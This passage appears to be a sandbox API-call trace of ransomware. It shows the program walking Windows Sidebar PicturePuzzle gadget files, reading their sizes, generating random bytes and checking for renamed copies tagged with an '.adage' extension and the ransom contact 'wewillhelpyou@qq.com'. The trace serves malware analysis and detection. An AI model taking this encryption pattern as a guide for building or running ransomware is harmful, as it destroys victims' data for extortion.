sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.956] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.957] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3436) returned 1 [0064.957] CloseHandle (hObject=0x180) returned 1 [0064.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html")) returned 0x20 [0064.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\picturePuzzle.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\picturepuzzle.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.957] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.957] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5482) returned 1 [0064.957] CloseHandle (hObject=0x180) returned 1 [0064.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html")) returned 0x20 [0064.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.958] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.958] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=9563) returned 1 [0064.958] CloseHandle (hObject=0x180) returned 1 [0064.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png")) returned 0x20 [0064.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.959] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.960] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2850) returned 1 [0064.960] CloseHandle (hObject=0x180) returned 1 [0064.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png")) returned 0x20 [0064.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.960] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.962] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=21283) returned 1 [0064.962] CloseHandle (hObject=0x180) returned 1 [0064.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png")) returned 0x20 [0064.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.962] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.962] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=24128) returned 1 [0064.962] CloseHandle (hObject=0x180) returned 1 [0064.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png")) returned 0x20 [0064.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.963] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.967] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=26934) returned 1 [0064.967] CloseHandle (hObject=0x180) returned 1 [0064.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png")) returned 0x20 [0064.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\11.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.967] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.967] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=29200) returned 1 [0064.967] CloseHandle (hObject=0x180) returned 1 [0064.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png")) returned 0x20 [0064.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.968] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.969] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=24397) returned 1 [0064.969] CloseHandle (hObject=0x180) returned 1 [0064.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png")) returned 0x20 [0064.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.970] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.970] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=15852) returned 1 [0064.970] CloseHandle (hObject=0x180) returned 1 [0064.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png")) returned 0x20 [0064.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.971] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.972] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=25021) returned 1 [0064.972] CloseHandle (hObject=0x180) returned 1 [0064.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png")) returned 0x20 [0064.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.972] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.972] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=28448) returned 1 [0064.973] CloseHandle (hObject=0x180) returned 1 [0064.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png")) returned 0x20 [0064.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.973] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.974] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=18747) returned 1 [0064.974] CloseHandle (hObject=0x180) returned 1 [0064.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png")) returned 0x20 [0064.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.974] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.975] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=21159) returned 1 [0064.975] CloseHandle (hObject=0x180) returned 1 [0064.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png")) returned 0x20 [0064.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.975] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.976] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=21275) returned 1 [0064.976] CloseHandle (hObject=0x180) returned 1 [0064.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png")) returned 0x20 [0064.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.977] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.977] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=18089) returned 1 [0064.977] CloseHandle (hObject=0x180) returned 1 [0064.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png")) returned 0x20 [0064.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png" (normalized: "c:\\program files\\windows 